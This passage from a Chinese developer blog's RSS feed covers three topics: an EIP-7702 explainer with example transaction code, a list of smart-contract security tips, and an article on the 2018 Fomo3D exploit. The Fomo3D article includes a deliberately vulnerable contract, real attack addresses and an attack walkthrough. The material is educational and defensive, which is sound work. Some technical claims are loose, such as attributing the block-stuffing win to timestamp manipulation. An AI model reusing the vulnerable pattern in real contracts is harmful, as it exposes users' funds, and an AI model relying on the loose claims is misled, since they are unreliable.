你可以提前设几个信任好友，私钥丢了他们能帮你把资产转到新地址，社交恢复就是这么方便。</li>
</ul>
<p>这些功能是不是听着就很实用？接下来我带你看看EIP-7702是怎么实现的，别担心，我会尽量讲得简单点。</p>
<h2>它是怎么工作的？</h2>
<h3>大致流程：从你发交易到执行完</h3>
<p><img src="/api/images/image/2026/10/e137b2926e39a3ec-eip-7702-.png" alt="EIP-7702执行流程.png"></p>
<p>EIP-7702的核心就是让你的EOA通过一笔特殊交易临时跑智能合约代码。整个过程是这样的：</p>
<ol>
<li><strong>交易创建</strong>：你在钱包里弄一笔EIP-7702交易，类型是<code>0x4</code>（别急，后面会细说）；</li>
<li><strong>签名验证</strong>：用你的私钥签名，钱包把交易数据打包好；</li>
<li><strong>广播交易</strong>：钱包把交易发到以太坊网络上；</li>
<li><strong>EVM处理</strong>：
<ul>
<li>EVM（以太坊虚拟机）收到后，检查签名，确保是你发的</li>
<li>从交易的<code>data</code>字段里拿出要执行的合约代码</li>
<li>通过交易中的authorization字段，EVM让你的EOA在执行时临时委托（类似<code>delegatecall</code>）到指定的合约代码，跑完逻辑后恢复原状</li>
<li>跑一遍代码里的逻辑，然后恢复EOA原状</li>
</ul>
</li>
<li><strong>Gas费用处理</strong>：Gas可以你自己付，也可以通过合约逻辑找个‘赞助商’帮忙垫付。</li>
<li><strong>清理和结果返回</strong>：交易跑完，EVM把临时加的代码清掉，你的EOA变回普通账户，然后告诉你结果——成功还是失败，外加日志。</li>
</ol>
<p>关键就在这个“临时”上，你的钱包在这笔交易里能跑代码，用完就恢复原样，既灵活又不失安全性。</p>
<h3>新交易类型：0x4</h3>
<p>EIP-7702利用EIP-2718的交易类型框架，引入了新的<code>0x4</code>交易类型，geth等客户端也支持了它。</p>
<p>你可能知道，以太坊之前有传统交易<code>0x00</code>，还有EIP-1559的动态手续费交易<code>0x02</code>，现在<code>0x4</code>是EIP-7702的专属标识。在代码里大概长这样：</p>
<pre><code class="language-go">const (
    LegacyTxType     = 0x00  // 老式交易
    AccessListTxType = 0x01  // 访问列表交易
    DynamicFeeTxType = 0x02  // 动态手续费交易
    BlobTxType       = 0x03  // Blob交易
    SetCodeTxType    = 0x04  // EIP-7702的新玩法
)

</code></pre>
<p>你的钱包得支持造这种<code>0x4</code>交易，EVM看到这个类型就知道该怎么处理了。</p>
<h3>钱包怎么造这笔交易</h3>
<p>假设你有个需求：从Alice发1 ETH给Bob，转100个MMT代币给Bob，再送一个NFT（MyDog，ID为1）给Frank。</p>
<p>简单来说，钱包把你的三件事打包成一段代码，塞进0x4交易发出去。</p>
<p>先看个简单例子：</p>
<pre><code class="language-jsx">// 你想干的三件事
const calls = [
  { to: 'Bob地址', value: '1 ETH', data: '转账' },           // 转1 ETH
  { to: 'MMT代币地址', value: 0, data: '转100 MMT给Bob' },   // 转代币
  { to: 'NFT地址', value: 0, data: '送NFT给Frank' }          // 转NFT
]

// 钱包把这些打包成一笔0x4交易
const tx = {
  type: '0x4',
  to: '你的地址',
  data: '上面那堆事的代码',
  authorization: '你的签名'
}

</code></pre>
<p>再具体一些是这样的：</p>
<pre><code class="language-jsx">// 导入必要的库
import { createWalletClient, http, parseEther, encodeFunctionData } from 'viem'
import { privateKeyToAccount } from 'viem/accounts'
import { eip7702Actions } from 'viem/experimental'
import { mainnet } from 'viem/chains'

// 创建账户和客户端
const aliceAccount = privateKeyToAccount('0xAlicePrivateKey')
const walletClient = createWalletClient({
  account: aliceAccount,
  chain: mainnet,
  transport: http()
}).extend(eip7702Actions())

// 批量调用合约地址（假设的）
const BATCH_CALL_ADDRESS = '0x1234567890123456789012345678901234567890'

// 目标地址和合约地址
const BOB_ADDRESS = '0xBobAddress'
const FRANK_ADDRESS = '0xFrankAddress'
const MMT_TOKEN_ADDRESS = '0xMMTTokenAddress'
const MYDOG_NFT_ADDRESS = '0xMyDogNFTAddress'

// 1. 创建授权对象
const batchCallAuthorization = await walletClient.signAuthorization({
  contractAddress: BATCH_CALL_ADDRESS
})

// 2. 构建批量调用数据
// ETH转账
const ethTransferCall = {
  to: BOB_ADDRESS,
  value: parseEther('1'),  // 1 ETH
  data: '0x'  // 普通转账不用额外数据
}

// 代币转账
const tokenTransferCall = {
  to: MMT_TOKEN_ADDRESS,
  value: 0n,  // 不发ETH
  data: encodeFunctionData({
    abi: [{ name: 'transfer', type: 'function', inputs: [{ name: 'to', type: 'address' }, { name: 'amount', type: 'uint256' }], outputs: [{ type: 'bool' }] }],
    functionName: 'transfer',
    args: [BOB_ADDRESS, parseEther('100')]  // 转100个MMT
  })
}

// NFT转移
const nftTransferCall = {
  to: MYDOG_NFT_ADDRESS,
  value: 0n,
  data: encodeFunctionData({
    abi: [{ name: 'transferFrom', type: 'function', inputs: [{ name: 'from', type: 'address' }, { name: 'to', type: 'address' }, { name: 'tokenId', type: 'uint256' }], outputs: [] }],
    functionName: 'transferFrom',
    args: [aliceAccount.address, FRANK_ADDRESS, 1n]  // 转ID=1的NFT
  })
}

// 3. 打包批量调用
const batchCallData = encodeFunctionData({
  abi: [{ name: 'execute', type: 'function', inputs: [{ name: 'calls', type: 'tuple[]', components: [{ name: 'to', type: 'address' }, { name: 'value', type: 'uint256' }, { name: 'data', type: 'bytes' }] }], outputs: [] }],
  functionName: 'execute',
  args: [[ethTransferCall, tokenTransferCall, nftTransferCall]]
})

// 4. 发送EIP-7702交易
try {
  const txHash = await walletClient.sendTransaction({
    authorizationList: [batchCallAuthorization],
    batch: [{
      to: aliceAccount.address,  // 指向自己
      data: batchCallData,       // 批量调用数据
      value: parseEther('1')     // 包含1 ETH用于转账
    }]
  })
  console.log('交易已发送，哈希:', txHash)
} catch (error) {
  console.error('交易失败:', error)
}

</code></pre>
<p>这段代码干了啥？</p>
<ol>
<li>用Alice的账户创建了一个批量调用，包含三步操作。</li>
<li>签了个授权给批量调用合约。</li>
<li>把所有操作打包成一笔EIP-7702交易发出去。</li>
</ol>
<p>交易发到链上后，EVM会让Alice的EOA临时变成合约账户，跑这段批量调用的代码，执行完再变回来。</p>
<p>完整代码可以去我的仓库瞅瞅：
<a href="https://github.com/vsiryxm/eip-7702-Study/">https://github.com/vsiryxm/eip-7702-Study/</a>。</p>
<h3>EVM怎么处理</h3>
<p>交易发到EVM这边时，会经历几个步骤，我们结合Alice的例子仔细聊聊。</p>
<h3>1. 验证交易签名</h3>
<p>EVM先检查签名，确保这交易真是Alice发的。交易结构大概是这样的：</p>
<pre><code class="language-solidity">struct EIP7702Transaction {
    uint8 txType;     // 固定为0x4
    address to;       // EOA地址
    uint256 gas;      // Gas上限
    uint256 gasPrice; // Gas价格
    uint256 value;    // 转账金额
    bytes data;       // 合约代码
    uint256 nonce;    // 交易序号
    bytes signature;  // 签名
}

</code></pre>
<p>EVM会拿Alice的签名和公钥比对，确认无误才继续。不然直接拒了，安全性第一。</p>
<h3>2. 加载委托合约代码</h3>
<p>签名对了，EVM从<code>data</code>字段里掏出要跑的代码。在Alice的例子中，这就是批量调用合约的代码，里面写了发ETH、转代币、送NFT的逻辑。这段代码是个字节码，待会儿会被临时关联到Alice的账户上。</p>
<h3>3. 将合约代码关联到EOA</h3>
<p>EVM根据交易中的authorization字段(有委托合约地址)，临时将指定的委托合约代码与Alice的EOA关联，让她的账户在执行时能跑这段代码，账户地址不变。</p>
<h3>4. 执行临时合约逻辑</h3>
<p>接下来，EVM开始跑代码，Alice的批量操作依次执行：</p>
<ul>
<li>
<p><strong>发1 ETH给Bob</strong>：</p>
<pre><code class="language-solidity">(bool success,) = BOB_ADDRESS.call{value: 1 ether}("");
require(success, "ETH transfer failed");

</code></pre>
</li>
<li>
<p><strong>转100个MMT代币给Bob</strong>：</p>
<pre><code class="language-solidity">IERC20(MMT_TOKEN_ADDRESS).transfer(BOB_ADDRESS, 100 * 10**18);

</code></pre>
</li>
<li>
<p><strong>送NFT给Frank</strong>：</p>
<pre><code class="language-solidity">IERC721(MYDOG_NFT_ADDRESS).transferFrom(msg.sender, FRANK_ADDRESS, 1);

</code></pre>
</li>
</ul>
<blockquote>
<p>以上是用Solidity写的示例逻辑，实际执行时会编译成字节码。</p>
</blockquote>
<p>这三步是一个整体，要么全成功，要么全失败，原子性保证了操作的可靠性。</p>
<h3>5. 清理临时合约并恢复状态</h3>
<p>跑完后，EVM把Alice账户里的临时代码清掉，她又变回普通EOA。状态变化（ETH、代币、NFT的转移）会保留，但账户本身恢复原样。Alice这边，交易结束，Bob拿到了ETH和代币，Frank拿到了NFT，皆大欢喜。</p>
<h2>总结</h2>
<p>EIP-7702是个挺酷的提案，它让EOA和合约账户的界限变模糊了，普通用户也能轻松玩转智能合约的功能。但我个人感觉也带来一个麻烦，后端监听合约事件变得复杂了。</p>
<p>通过新的<code>0x4</code>交易类型，EOA可以临时跑代码，支持批量交易、授权、Gas赞助、账户恢复等玩法。钱包负责构建交易，EVM负责执行和清理，整个流程既强大又灵活。</p>
<p>对于开发者来说，EIP-7702提供了一种新的账户抽象方式，能设计出更灵活、更用户友好的DApp。
随着Pectra升级上线，我觉得以后会有更多好玩的DApp冒出来。</p>
<p>你觉得怎么样？欢迎在评论区分享你的看法或疑问，也可以加我微信聊聊！</p>
<h2>附EVM处理源代码</h2>
<p><strong>1. 验证交易签名</strong>
在 <code>github.com/ethereum/go-ethereum/core/types/transaction.go</code> 文件中，相关的代码包括：</p>
<ul>
<li><code>func sanityCheckSignature(v *big.Int, r *big.Int, s *big.Int, maybeProtected bool) error</code>：这个函数用于检查签名的有效性，确保 <code>v</code>, <code>r</code>, <code>s</code> 值是合法的。</li>
<li><code>func (tx *Transaction) WithSignature(signer Signer, sig []byte) (*Transaction, error)</code>：这个方法返回一个带有给定签名的新交易。</li>
</ul>
<p><strong>2. 加载委托代码</strong>
在 <code>github.com/ethereum/go-ethereum/core/types/transaction.go</code> 文件中，加载委托代码的相关代码包括：</p>
<ul>
<li><code>func (tx *Transaction) Data() []byte</code>：这个方法返回交易的输入数据。</li>
<li><code>func (tx *Transaction) DecodeRLP(s *rlp.Stream) error</code> 和 <code>func (tx *Transaction) UnmarshalBinary(b []byte) error</code>：这些方法用于解码交易数据，包括 EIP-2718 类型的交易数据。</li>
</ul>
<p><strong>3. 创建临时合约账户</strong>
在 <code>github.com/ethereum/go-ethereum/core/types/transaction.go</code> 文件中，创建临时合约账户的相关代码包括：</p>
<ul>
<li><code>func (tx *Transaction) Type() uint8</code> 和 <code>func (tx *Transaction) decodeTyped(b []byte) (TxData, error)</code>：这些方法用于识别和解码交易类型，其中 <code>SetCodeTxType</code> 对应 <code>0x4</code> 类型交易。</li>
<li><code>func (tx *Transaction) setDecoded(inner TxData, size uint64)</code>：这个方法在解码后设置交易的内部数据。</li>
</ul>
<p><strong>4. 执行临时合约逻辑</strong>
a. 在 <code>github.com/ethereum/go-ethereum/core/vm/eips.go</code> 文件中，有关执行临时合约逻辑的代码包括：</p>
<ul>
<li><code>func enable7702(jt *JumpTable)</code>：这个函数应用 EIP-7702 的更改，支持委托设计器。</li>
<li>相关的操作码定义和执行函数，如 <code>opDelegateCall</code>、<code>opCallCode</code> 等。</li>
</ul>
<p>b. 在 <code>github.com/ethereum/go-ethereum/core/vm/operations_acl.go</code> 文件中，有关执行临时合约逻辑的代码包括：</p>
<ul>
<li><code>func makeCallVariantGasCallEIP7702(oldCalculator gasFunc) gasFunc</code>：这个函数创建了用于 EIP-7702 的动态 gas 计算函数。</li>
<li>具体的 gas 计算和访问列表检查函数，如 <code>gasDelegateCallEIP7702</code>、<code>gasCallEIP7702</code> 等。</li>
</ul>
<p><strong>5. 清理临时合约并恢复状态</strong>
a. 在 <code>github.com/ethereum/go-ethereum/core/types/transaction.go</code> 文件中，清理临时合约并恢复状态的相关代码包括：</p>
<ul>
<li><code>func (tx *Transaction) WithoutBlobTxSidecar() *Transaction</code> 和 <code>func (tx *Transaction) WithBlobTxSidecar(sideCar *BlobTxSidecar) *Transaction</code>：这些方法用于处理 blob 交易的 sidecar 数据，以确保交易状态的正确性。</li>
<li><code>func (tx *Transaction) SetCodeAuthorizations() []SetCodeAuthorization</code> 和 <code>func (tx *Transaction) SetCodeAuthorities() []common.Address</code>：这些方法返回和处理 <code>0x4</code> 类型交易的授权数据。</li>
</ul>
<p>b. 在 <code>github.com/ethereum/go-ethereum/core/blockchain_test.go</code> 文件中，有关清理临时合约并恢复状态的测试代码包括：</p>
<ul>
<li><code>func TestEIP7702(t *testing.T)</code>：这个测试函数部署并调用了两个委托设计，并验证其执行的正确性。</li>
</ul>
<hr>
<p><img src="/api/images/image/2026/10/621af3a85296de3a-sunny_yang_green.png" alt="sunny_yang_green.png"></p>
<p>我的产品体系：
《Web3开发转型陪跑计划》
《数字货币投资工具使用教学》
《AI编程教学》
本人技术栈：
Solidity/Golang/Rust/NodeJS/Python/AI编程
项目合作，欢迎你来链接我！
都看到这里了，不关注一下嘛👇</p>
]]></content:encoded>
      <category>以太坊</category>
      <pubDate>Fri, 21 Mar 2025 02:09:00 GMT</pubDate>
    </item>
    <item>
      <title>【以太坊】从0到1打造安全智能合约：我的开发经验</title>
      <link>https://yangxinmin.com/secure-smart-contract-from-zero</link>
      <guid isPermaLink="true">https://yangxinmin.com/secure-smart-contract-from-zero</guid>
      <description>关注我，带你转型Web3开发，分享我从2018年入行区块链以来的开发经验（DeFi/GameFi/NFT/DAO/OTC/钱包/Trading Bot/MEME Launch） [公众号名片占位] 智能合约上了链就基本没法改，所以安全必须放第一位。 以下是我在开发智能合约时总结的一些安全经验，分享给</description>
      <content:encoded><![CDATA[<p><strong>关注我，带你转型Web3开发，分享我从2018年入行区块链以来的开发经验（DeFi/GameFi/NFT/DAO/OTC/钱包/Trading Bot/MEME Launch）</strong></p>
<p>[公众号名片占位]</p>
<p>智能合约上了链就基本没法改，所以安全必须放第一位。
以下是我在开发智能合约时总结的一些安全经验，分享给你，希望能帮助你写出更安全、更靠谱的智能合约。</p>
<blockquote>
<p>智能合约安全系列回放：【以太坊】聊聊智能合约的重入攻击【以太坊】聊聊智能合约的溢出攻击【以太坊】聊聊智能合约的未授权访问攻击【以太坊】聊聊智能合约的Permit2钓鱼攻击【以太坊】聊聊智能合约的闪电贷攻击【以太坊】聊聊智能合约的0转账钓鱼攻击【以太坊】聊聊智能合约的时间戳依赖攻击</p>
</blockquote>
<h2>合约得支持升级</h2>
<p>除了资产类合约（像 ERC20、ERC721、ERC1155），业务类合约最好用代理模式支持升级，推荐 UUPS（比 Transparent 或 Beacon 更省 gas）。万一出了漏洞，能及时修补，减少项目损失。升级时记住：状态变量只加不删、顺序别动、类型别变，继承顺序也别乱。不过别慌，Hardhat这类工具会提醒你。</p>
<h2>单元测试不偷懒</h2>
<p>单元测试是合约安全第一关。每个方法都写详细测试用例，各种输入都试试，尤其是边缘情况和跟钱相关的逻辑，尽早挖出问题。推荐Foundry（编译快，能用Solidity写测试）或Hardhat，效率高又方便。</p>
<h2>安全审计少不了</h2>
<p>安全审计是合约安全第二关，DeFi项目尤其得重视。专业团队会审查代码、模拟攻击，找出隐藏风险。部署前至少审一次，按报告修Bug。高价值项目多审几次，或者找几家交叉验证。小项目可以找小审计公司，便宜也能干好安全工作；大牌公司贵点，但能背书口碑。</p>
<p>我在厦门做的Pump404项目是找慢雾科技审的（1000U/合约），去过他们公司，挺专业。</p>
<h2>编译器用最新稳定版</h2>
<p>最新稳定版编译器能少踩坑，比如Solidity 0.8.0默认开了溢出检查。</p>
<p>常去官网看更新日志，了解新功能和安全改进，及时升级，别让已知漏洞钻空子。</p>
<h2>第三方库省时又安全</h2>
<p>OpenZeppelin的模板（ERC20、ERC721等）经过社区和实战验证，安全又省心，不用自己审基础代码，专注业务逻辑就好。但得用最新版，看好文档，别用错。</p>
<h2>使用send和call小心点</h2>
<ul>
<li><strong><code>send</code></strong>：发以太币用它，但不抛异常，只返回布尔值。老版本中栈深度超1024会失败（Solidity 0.8.0及以后版本已无此限制），批量转账得检查返回值，确保转账成功。</li>
<li><strong><code>call</code></strong>：调外部合约灵活，但默认把所有gas给出去，容易被恶意合约搞乱（参考我的文章：）。建议限gas（像<code>call{gas: 100000}</code>），检查返回值，确保转账成功。</li>
</ul>
<h2>支付用 pull 模式</h2>
<p>别用 push 模式批量支付，推荐 pull 模式——用户自己调<code>claim</code>领。这样就算某个地址出问题也不会拖垮全局，还省gas。</p>
<p>BEC代币被攻击就是用 push 模式的教训，pull 能避免这档子事。</p>
<h2>防重入攻击</h2>
<p>重入攻击通过外部调用反复搞乱合约，偷钱。得按“检查-修改-交互”（checks-effects-interactions）顺序写：先查条件、再改状态、最后调外部。用OpenZeppelin的<code>nonReentrant</code>修饰符（@openzeppelin/contracts/utils/ReentrancyGuard.sol）更稳。The DAO被重入搞垮就是前车之鉴（参考我的文章：）。</p>
<h2>SafeMath 防溢出</h2>
<p>Solidity 0.8.0 自带溢出检查，老版本得用 SafeMath。加减乘除溢出可能算错钱，SafeMath 能拦住异常，确保安全。尤其跟代币或ETH相关的计算，别省这步。</p>
<p>BEC 代币项目的溢出攻击就是没用SafeMath的教训（参考我的文章：）。</p>
<h2>权限别乱给</h2>
<p>合约权限管理得严，别随便给大权。明确角色（管理员、操作员啥的），限制好范围。别用 <code>tx.origin</code> 验身份，容易被钓鱼，改用 <code>msg.sender</code>。推荐使用 OpenZeppelin 的 AccessControl（@openzeppelin/contracts/access/AccessControl.sol）， 能帮我们管好权限，清晰又安全。</p>
<h2>日志记清楚</h2>
<p>关键操作（转账、改权限）用事件（event）记下来，方便查。调试、审计时能快速定位问题。日志别太啰嗦，省点 gas，但关键信息得全。日志做好了，合约透明又好维护。</p>
<h2>代码尽量简洁优雅</h2>
<p>代码简洁好懂，出错少。别重复写，用函数封装。变量名、函数名起清楚，简洁不糊弄。还能省 gas，效率更高。</p>
<h2>文档和注释得全</h2>
<p>每个函数写好文档和注释，说清干啥用的、参数啥意思。方便自己（日后翻阅），也方便团队合作、外部审计。
我遇到过这样的“神棍”：一行代码注释都没有，变量命名只有他自己看得懂，是要遭唾骂的。</p>
<h2>测试网上先跑</h2>
<p>上线前在测试网（比如 Sepolia）试试，模拟真实环境，找问题。测功能、测安全，确保没毛病。测试网跑好了，主网风险就小很多。</p>
<h2>紧急刹车得有</h2>
<p>合约加个紧急停止开关，发现问题时让管理员暂停关键功能（像转账、铸币）。争取时间修漏洞，减少亏损。得限制谁能按开关，还得能安全恢复。</p>
<h2>delegatecall少碰</h2>
<p><code>delegatecall</code> 风险大，存储容易乱，权限也可能被滥用。除非非用不可（比如代理模式），尽量别碰。用的话，确认被调合约安全，测试到位。
Parity多签钱包被攻击事件，<code>delegatecall</code>就是祸源（参考我的文章：）。</p>
<h2>少靠外部调用</h2>
<p>别太依赖外部合约或数据，风险不好控。真要调，确认对方安全，最好是审过的。调用时加点防护，比如用 try-catch 或日志，防外部出问题波及自己。</p>
<h2>gas 上限定好</h2>
<p>函数设个合理 gas 上限，别让交易失败或太贵。估好消耗，优化代码，少用计算和存储，用户体验也好。</p>
<h2>时间戳别乱玩</h2>
<p><code>block.timestamp</code> 别拿来做关键判断，矿工能操控。不适合当随机数种子或定顺序，用预言机拿靠谱时间吧。</p>
<h2>随机数得靠谱</h2>
<p>链上随机数容易被猜，别用 <code>blockhash</code> 或 <code>block.timestamp</code>。Chainlink VRF （参考我的后续文章）这种服务才安全，游戏、抽奖才公平。</p>
<h2>防 DoS 攻击</h2>
<p>别循环处理外部输入，容易被搞成拒绝服务。限制规模（如下例）或分批干，异常也能跑：</p>
<pre><code>function batchTransfer(address[] calldata recipients) external {
    require(recipients.length &#x3C;= 50, "一次处理太多了"); // 防超长数组或恶意地址耗尽gas
    for (uint256 i = 0; i &#x3C; recipients.length; i++) {
        (bool success, ) = recipients[i].call{value: 1e15}("");
        require(success, "转账失败"); // 检查返回值，失败时终止
    }
}

</code></pre>
<h2>资金分开管</h2>
<p>核心资金（如平台抽取的交易手续费）别跟业务逻辑混一块，用多签钱包或独立账户管。隔离更安全，适合大项目。</p>
<h2>代码版本控制好</h2>
<p>用 Git 管代码，能回溯。部署前备好回滚方案，上线修Bug也方便。</p>
<h2>学习不偷懒</h2>
<p>区块链和合约技术得一直学，看看 Solidity 更新和新攻击案例。有机会多参加行业活动，长长安全见识。学好了，合约才能跟上变化。</p>
<h2>总结</h2>
<p>智能合约安全不能含糊，项目好坏全指望它。照着这些实践来——认真测代码、找人审一审、支持升级别偷懒、用库小心点——漏洞就能少不少，用户资金安全有保障，项目口碑自然也上去了。安全这块得重视，开发者要多学新东西，跟上技术变化，让合约稳稳跑下去。</p>
<hr>
<p><img src="/api/images/image/2026/10/873876881aca6248-sunny_yang.png" alt="sunny_yang.png"></p>
<p>我的产品体系：
《Web3开发转型陪跑计划》
《AI编程教学》
本人技术栈：
Solidity/Golang/Rust/NodeJS/Python/AI编程
项目合作，欢迎你来链接我！
都看到这里了，不关注一下嘛👇</p>
<p>[公众号名片占位]</p>
]]></content:encoded>
      <category>以太坊</category>
      <pubDate>Tue, 18 Mar 2025 02:33:37 GMT</pubDate>
    </item>
    <item>
      <title>【以太坊】聊聊智能合约的时间戳依赖攻击</title>
      <link>https://yangxinmin.com/ethereum-timestamp-dependence-attack</link>
      <guid isPermaLink="true">https://yangxinmin.com/ethereum-timestamp-dependence-attack</guid>
      <description>说在前面 生活中，我们习惯了依赖时间来安排一切。闹钟提醒我们起床，高铁准点发车，考试到点交卷，股票交易精确到毫秒撮合…… 在 Web2 世界里，软件系统同样靠精准的时间戳来自动执行任务，比如定时扣款、会员到期、订单结算，这一切都建立在可信的时间基础上。但到了 Web3 世界里，时间居然能被“调表”！</description>
      <content:encoded><![CDATA[<h2><strong>说在前面</strong></h2>
<p>生活中，我们习惯了依赖时间来安排一切。闹钟提醒我们起床，高铁准点发车，考试到点交卷，股票交易精确到毫秒撮合……</p>
<p>在 Web2 世界里，软件系统同样靠精准的时间戳来自动执行任务，比如定时扣款、会员到期、订单结算，这一切都建立在可信的时间基础上。但到了 Web3 世界里，时间居然能被“调表”！</p>
<p>今天我们聊聊<strong>时间戳依赖攻击</strong>，看看黑客怎么利用这个漏洞搞乱规则、赚大钱。</p>
<h2><strong>时间戳依赖攻击是什么？</strong></h2>
<p>简单说，<strong>时间戳依赖攻击（Timestamp Dependence Attack）</strong> 就是黑客利用区块链时间戳（<code>block.timestamp</code>）能被矿工微调的特性，操控智能合约的逻辑。</p>
<p>想象一下，你周末在超市抢10点截止的优惠券，9:59冲到柜台，却发现收银员把钟调快1分钟，硬说你超时了，超级不爽吧。</p>
<p>在区块链上，矿工就像这个收银员，时间戳通常接近现实（以太坊误差一般15秒左右），但他们有微调空间。</p>
<p>如果合约靠时间戳判断关键操作——比如锁仓解锁或交易截止，黑客就能“调表”，提前或延迟触发，轻松套利。</p>
<p>接下来，我们看个真实案例：黑客怎么靠这招卷走几百万美元？</p>
<h2><strong>Fomo3D：一个疯狂的资金盘游戏</strong></h2>
<p>Fomo3D是2018年以太坊上风靡一时的博彩游戏，吸引投机者们个个都想中个链上版的“6合采”。</p>
<p>简单地来说就是，你花ETH购买Key（Fomo3D游戏代币），每买一次，游戏倒计时都会延长30秒。如果24小时内没人再买Key，最后一个买的人就能赢走奖池的48%，成为游戏的最大受益者。</p>
<h3><strong>具体游戏规则</strong></h3>
<ol>
<li>1. <strong>买Key参与游戏</strong>
<ul>
<li>玩家用ETH购买Key，并选择加入Snek、Whale、Bull或Bear四个队伍之一。</li>
<li>每次买Key都会把倒计时延长30秒，游戏初始倒计时是24小时。</li>
</ul>
</li>
<li>2. <strong>赢大奖的条件</strong>
<ul>
<li>如果24小时内没人再买Key，倒计时结束，最后一个买Key的玩家赢得奖池的48%。</li>
<li>在24小时内只要有人继续买，倒计时就重置，游戏继续。</li>
</ul>
</li>
<li>3. <strong>资金分配方式</strong>
<ul>
<li>玩家投入的ETH，86%进入奖池和分红，14%另作他用。</li>
<li>赢家拿走奖池的48%，剩下的52%这样分配：
<ul>
<li>开发者拿2%</li>
<li>推荐人或所有Key持有者分10%</li>
<li>下一轮奖池留10%</li>
<li>本轮玩家和Key持有者分30%（具体比例依队伍而定，比如Snek队可能是20%给本轮玩家，10%给Key持有者）</li>
</ul>
</li>
</ul>
</li>
</ol>
<p>是不是有点传Xiao的味道了？</p>
<p>游戏上线后，奖池迅速飙升到 <strong>21,701 ETH</strong>。</p>
<p>这么大一笔资金，全靠区块时间来决定谁赢谁输，能不能耍点手段大概率地拿到这个“6合采”呢？大聪明黑客就出现了。</p>
<h3><strong>规则被黑客完美利用</strong></h3>
<p>黑客看准时间戳依赖，精心布局：</p>
<ul>
<li>2018年8月，倒计时剩3分钟左右，黑客买下最后一个Key。</li>
<li>随后，黑客用提前部署的合约发起大量高Gas费的垃圾交易，阻塞以太坊网络，挤占Mempool。</li>
<li>在接下来的几分钟内，黑客不断检查自己是否仍是最后一个买家，因网络拥堵无人能插队。</li>
<li>最终倒计时结束，黑客锁定胜利，拿走 10,469 eth（价值约308万美元，当时ETH价格为$295）。</li>
</ul>
<p>虽然24小时交易量只有24.114 ETH（环比下降14.46%），但黑客依靠规则翻盘，奖池被清空。</p>
<h2><strong>攻击现场</strong></h2>
<p>被攻击合约:</p>
<p><code>0xa62142888aba8370742be823c1782d17a0389da1</code></p>
<p>攻击发生的交易哈希:</p>
<p><code>0xe08a519c03cb0aed0e04b33104112d65fa1d3a48cd3aeab65f047b2abce9d508</code></p>
<p>配合攻击的合约:</p>
<p><code>0x18e1b664c6a2e88b93c1b71f61cbf76a726b7801</code></p>
<p>黑客收益地址:</p>
<p><code>0xa169df5ed3363cfc4c92ac96c6c5f2a42fccbf85</code></p>
<h2><strong>还原攻击</strong></h2>
<p>想知道黑客是如何“玩弄时间”的？我们来看看Fomo3D的真实代码，了解攻击的技术细节。</p>
<h3><strong>攻击代码示例</strong></h3>
<p>以下是<code>FoMo3Dlong.sol</code>的简化代码示例，保留了完整逻辑：</p>
<pre><code class="language-solidity">// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Fomo3D {
    struct Round {
        address plyr;      // 最后一个买家
        uint256 end;       // 倒计时截止时间
        bool ended;        // 轮次是否结束
        uint256 pot;       // 奖池金额
    }
    Round public round;
    address public com;    // 社区地址
    uint256 public nextRoundPot; // 下一轮奖池

    constructor(address _com) {
        com = _com;
        round.end = block.timestamp + 24 hours; // 初始24小时倒计时 见https://github.com/vsiryxm/fomo3d_clone/blob/master/contracts/FoMo3Dlong.sol#L99
    }

    // 参考：https://github.com/vsiryxm/fomo3d_clone/blob/master/contracts/FoMo3Dlong.sol中的buyCore()
    function buyKey() external payable {
        require(msg.value > 0, "Need ETH");
        require(block.timestamp &#x3C; round.end, "Round over");
        round.plyr = msg.sender; // 更新最后一个买家
        round.pot += msg.value;
        round.end = block.timestamp + 30 seconds; // 每次买KEY延长30秒，见https://github.com/vsiryxm/fomo3d_clone/blob/master/contracts/FoMo3Dlong.sol#L98
    }

    // 参考：https://github.com/vsiryxm/fomo3d_clone/blob/master/contracts/FoMo3Dlong.sol#L1190
    function endRound() public {
        if (block.timestamp > round.end) { // 时间戳决定结束
            if (round.pot > 0) {
                uint256 winAmount = round.pot;
                payable(round.plyr).transfer(winAmount * 48 / 100); // 48%给最后买家
                uint256 comAmount = winAmount / 50; // 2%给社区
                uint256 nextRound = winAmount * 10 / 100; // 10%给下一轮
                payable(com).transfer(comAmount);
                nextRoundPot = nextRound;
                round.pot = 0; // 清空奖池
            }
            round.ended = true;
        }
    }
}
</code></pre>
<h3><strong>攻击流程</strong></h3>
<ol>
<li>1. <strong>倒计时剩3分钟</strong>黑客监控最后一局的结束时间<code>round.end</code>，发现剩余时间仅3分钟，准备出手。</li>
<li>2. <strong>购买最后一个Key</strong>通过<code>buyKey()</code>购买Key，更新游戏最后的玩家<code>round.plyr</code>为自己。</li>
<li>3. <strong>高Gas阻塞网络</strong>通过提前部署的合约发起大量高Gas垃圾交易，挤占Mempool，让其他玩家的交易挤不进来。</li>
<li>4. <strong>确认自己为最后买家</strong>接下来的几分钟，黑客不断确认自己还是最后买家，因为网络被堵死，没人能插队。</li>
<li>5. <strong>锁定大奖</strong>倒计时结束，<code>endRound()</code>触发，黑客拿走48%的奖池，即 10,469 eth（价值约308万美元，当时ETH价格为$295）。</li>
</ol>
<h3><strong>核心漏洞</strong></h3>
<ul>
<li><strong><code>block.timestamp > round.end</code></strong>：依赖时间戳判断结束，黑客可以通过交易策略利用这一点。</li>
<li><strong>30秒窗口</strong>：动态延长的时间过短，黑客可以用高Gas阻塞网络，轻松锁定胜局。</li>
</ul>
<h2><strong>如何防止时间戳依赖攻击？</strong></h2>
<p>我觉得，本质上这是一个产品设计层面的缺陷，业务逻辑不要去依赖区块时间戳就可以完全规避掉。</p>
<p>但如果非得要用区块时间来设计业务逻辑，有以下防范建议：</p>
<h3><strong>1. 使用区块号代替时间戳</strong></h3>
<p><code>block.number</code>比<code>block.timestamp</code>更难被操控。以太坊平均每12秒生成一个区块，可以利用<code>block.number</code>来估算时间。</p>
<pre><code class="language-solidity">uint256 public endBlock;
constructor() {
    endBlock = block.number + 7200; // 约24小时 = 7200 * 12 / 60 / 60
}
require(block.number &#x3C; endBlock, "Round over");
</code></pre>
<h3><strong>2. 设计宽松的时间窗口</strong></h3>
<p>避免“最后一秒定胜负”，比如把时间窗口拉到几分钟甚至更长。这样就算黑客想堵网络，也没那么容易抢到最后一击。</p>
<h3><strong>3. 使用可信预言机</strong></h3>
<p>可以考虑使用 <strong>Chainlink 预言机</strong> 提供外部时间源，确保时间准确性。</p>
<p>参考：</p>
<p><a href="https://docs.chain.link/data-feeds/using-data-feeds">https://docs.chain.link/data-feeds/using-data-feeds</a></p>
<h3><strong>4. 避免过度依赖时间戳</strong></h3>
